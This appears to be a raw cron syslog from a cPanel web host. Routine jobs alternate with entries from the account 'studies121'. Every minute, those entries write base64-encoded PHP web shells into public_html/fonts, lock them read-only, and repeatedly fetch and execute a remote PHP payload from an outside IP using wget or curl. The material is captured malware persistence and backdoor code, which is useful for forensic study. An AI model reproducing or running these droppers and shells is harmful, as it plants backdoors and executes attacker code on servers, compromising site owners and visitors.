Sep 11 21:52:01 ip-184-168-122-23 CROND[9624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:52:01 ip-184-168-122-23 CROND[9625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:52:01 ip-184-168-122-23 CROND[9626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:52:01 ip-184-168-122-23 CROND[9627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:53:02 ip-184-168-122-23 CROND[9714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:53:02 ip-184-168-122-23 CROND[9715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:53:02 ip-184-168-122-23 CROND[9716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:53:02 ip-184-168-122-23 CROND[9718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:54:01 ip-184-168-122-23 CROND[9803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:54:01 ip-184-168-122-23 CROND[9804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:54:01 ip-184-168-122-23 CROND[9802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:54:01 ip-184-168-122-23 CROND[9805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:54:01 ip-184-168-122-23 CROND[9806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:55:01 ip-184-168-122-23 CROND[9902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:55:01 ip-184-168-122-23 CROND[9904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:55:01 ip-184-168-122-23 CROND[9909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:55:01 ip-184-168-122-23 CROND[9907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:55:01 ip-184-168-122-23 CROND[9908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:55:01 ip-184-168-122-23 CROND[9910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:56:01 ip-184-168-122-23 CROND[9997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:56:01 ip-184-168-122-23 CROND[10002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:56:01 ip-184-168-122-23 CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:56:01 ip-184-168-122-23 CROND[10001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:56:01 ip-184-168-122-23 CROND[9999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:57:01 ip-184-168-122-23 CROND[10112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:57:01 ip-184-168-122-23 CROND[10114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:57:01 ip-184-168-122-23 CROND[10113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:57:01 ip-184-168-122-23 CROND[10115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:58:01 ip-184-168-122-23 CROND[10274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:58:01 ip-184-168-122-23 CROND[10276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:58:01 ip-184-168-122-23 CROND[10279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:58:01 ip-184-168-122-23 CROND[10277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:58:01 ip-184-168-122-23 CROND[10278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:59:01 ip-184-168-122-23 CROND[10364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:59:01 ip-184-168-122-23 CROND[10365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:59:01 ip-184-168-122-23 CROND[10366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:59:01 ip-184-168-122-23 CROND[10367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10466]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:00:01 ip-184-168-122-23 CROND[10461]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10467]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:00:01 ip-184-168-122-23 CROND[10465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:01:01 ip-184-168-122-23 CROND[10558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:01:01 ip-184-168-122-23 CROND[10559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:01:01 ip-184-168-122-23 CROND[10561]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 22:01:01 ip-184-168-122-23 CROND[10563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:01:01 ip-184-168-122-23 CROND[10564]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:01:01 ip-184-168-122-23 CROND[10565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10561]: starting 0anacron
Sep 11 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10578]: finished 0anacron
Sep 11 22:02:01 ip-184-168-122-23 CROND[10656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:02:01 ip-184-168-122-23 CROND[10658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:02:01 ip-184-168-122-23 CROND[10660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:02:01 ip-184-168-122-23 CROND[10662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:02:01 ip-184-168-122-23 CROND[10659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:03:01 ip-184-168-122-23 CROND[10834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:03:01 ip-184-168-122-23 CROND[10835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:03:01 ip-184-168-122-23 CROND[10836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:03:01 ip-184-168-122-23 CROND[10837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:04:01 ip-184-168-122-23 CROND[10930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
